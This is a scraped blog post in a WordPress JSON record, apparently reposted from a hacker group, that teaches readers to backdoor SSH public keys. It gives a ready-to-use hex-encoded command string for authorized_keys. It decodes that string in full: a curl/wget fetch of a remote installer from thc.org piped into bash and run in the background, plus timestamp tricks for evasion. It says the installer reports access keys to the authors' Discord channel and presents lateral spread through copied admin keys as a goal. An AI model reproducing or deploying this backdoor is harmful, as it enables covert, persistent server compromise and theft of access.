{"id":52045,"date":"2023-05-24T14:42:48","date_gmt":"2023-05-24T14:42:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/34653\/Infecting-SSH-Public-Keys-With-Backdoors.html"},"modified":"2023-05-24T14:42:48","modified_gmt":"2023-05-24T14:42:48","slug":"infecting-ssh-public-keys-with-backdoors","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/infecting-ssh-public-keys-with-backdoors\/","title":{"rendered":"Infecting SSH Public Keys With Backdoors"},"content":{"rendered":"
<\/div>\n

In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside ~\/.ssh\/authorized_keys<\/code> or ~\/.ssh\/id_*.pub.<\/code><\/p>\n

The source is available from GitHub<\/a>.<\/p>\n

TL;DR<\/h3>\n

Simply prepend any SSH Public Key with the following backdoor-string<\/strong> – up until, but not including, the ssh-ed25519 AAAAC3Nzblah...<\/code>):<\/p>\n

no-user-rc,no-X11-forwarding,command=\"`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);\"<\/span> ssh-ed25519 AAAAC3Nzblah....\n<\/code><\/pre>\n
Root is not needed.<\/p>\n
What’s the purpose<\/h3>\n
    \n
  1. \n
    For the lulz.<\/p>\n<\/li>\n
  2. \n
    Re-starts your backdoor after the server reboots (similar to infecting crontab<\/code> or ~\/.bashrc<\/code>).<\/p>\n<\/li>\n
  3. \n
    Spread laterally: Admins are known to copy their SSH Public Keys to new servers. Own them.<\/p>\n<\/li>\n
  4. \n
    Cloud deployments often copy the Admin’s Public Key to new instances – and now they copy your backdoor inside as well.<\/p>\n<\/li>\n<\/ol>\n
    The nitty-gritty<\/h3>\n
    OpenSSH has an unsung feature<\/a> to execute a command (instead of a Shell) when a user successfully logs in. This feature (for example) is used by AWS to tell the customer not to log in as root:<\/p>\n
    no-port-forwarding,no-agent-forwarding,command=\"echo 'Please login as the user \\\"ubuntu\\\" rather than the user \\\"root\\\".';echo;sleep 10;exit 142\"<\/span> ssh-ed25519 AAAA...\n<\/code><\/pre>\n
    The trick is to use OpenSSH’s command=<\/code> feature and silently start our backdoor and<\/strong> afterwards execute the user’s shell (with PTY) without the user noticing.<\/p>\n
    The Details<\/h3>\n
    Let’s dissect the backdoor-string<\/strong>: The no-user-rc,no-X11-forwarding<\/code> is a ruse to throw off any prying eyes. It can be omitted.<\/p>\n
    The command=<\/code> string is where the real magic happens. Here is a shorter version of a simplified backdoor-string<\/strong>:<\/p>\n
    command=\"`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)\"<\/span>\n<\/code><\/pre>\n
    OpenSSH executes the entire string between the two quotes \"<\/code>…\"<\/code>.<\/p>\n
    The `###---POWERSHELL---`;<\/code> is a ruse as well. It does nothing.<\/p>\n
    The next command eval<\/code> executes the commands that are hidden inside the encoded hex string.<\/p>\n
    Let’s decode the hex string to reveal the actual commands that are being executed:<\/p>\n
    $ echo<\/span> 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps\necho<\/span> Hello Backdoor\n<\/code><\/pre>\n
    This simplified backdoor only prints “Hello Backdoor” on log-in and then terminates the SSH connection.<\/p>\n
    Our backdoor-string<\/strong> is more complex and decoded here:<\/p>\n
    [[ $(stat<\/span> -c%Y \/bin\/sh) != $(stat<\/span> -c%Y .ssh) ]] && { touch -r \/bin\/sh .ssh export<\/span> KEY=\"\"<\/span> bash -c \"$(curl -fsSL thc.org\/sshx)<\/span>\"<\/span> || bash -c \"$(wget --no-verbose -O- thc.org\/sshx)<\/span>\"<\/span> || exit<\/span> 0\n} >\/dev\/null 2>\/dev\/null &\n[[ -n $SSH_ORIGINAL_COMMAND<\/span> ]] && exec<\/span> $SSH_ORIGINAL_COMMAND<\/span>\n[[ -z $SHELL<\/span> ]] && SHELL=\/bin\/bash\n[[ -f \/run\/motd.dynamic ]] && cat \/run\/motd.dynamic\n[[ -f \/etc\/motd ]] && cat \/etc\/motd\nexec<\/span> -a -$(basename $SHELL<\/span>) $SHELL<\/span>\n<\/code><\/pre>\n
    Firstly it uses a canary to make sure that the backdoor is only started once<\/em> and not on every login: If ~\/.ssh<\/code> and \/bin\/sh<\/code> have the same date then assume that the backdoor is already installed. Otherwise set them to the same date and execute the backdoor thereafter.<\/p>\n
    Thereafter our backdoor-string<\/strong> checks if the user wanted to execute a command rather than a shell.<\/p>\n
    The last three lines are when the user logs in to a shell – the normal case:<\/p>\n
      \n
    1. \n
      Set the SHELL variable if not set already.<\/p>\n<\/li>\n
    2. \n
      Simulate Linux’s motd.<\/p>\n<\/li>\n
    3. \n
      Execute the user’s shell.<\/p>\n<\/li>\n<\/ol>\n
      Keep Hacking,<\/p>\n
       READ MORE HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
      READ MORE HERE…<\/p>\n","protected":false},"author":2,"featured_media":52046,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[277],"tags":[10528],"class_list":["post-52045","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity-blogs","tag-headlinehackerpasswordbackdoor"],"yoast_head":"\nInfecting SSH Public Keys With Backdoors 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/infecting-ssh-public-keys-with-backdoors\/\" \/>\n<meta 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    The backdoor in this case is a backdoor-installer script pulled from thc.org\/sshx<\/a> and executed in memory. It starts as a background process to not slow down the user’s log-in. The installer-script installs gsocket<\/a> and if successful reports the access key and system metrics to our discord channel.<\/p>\n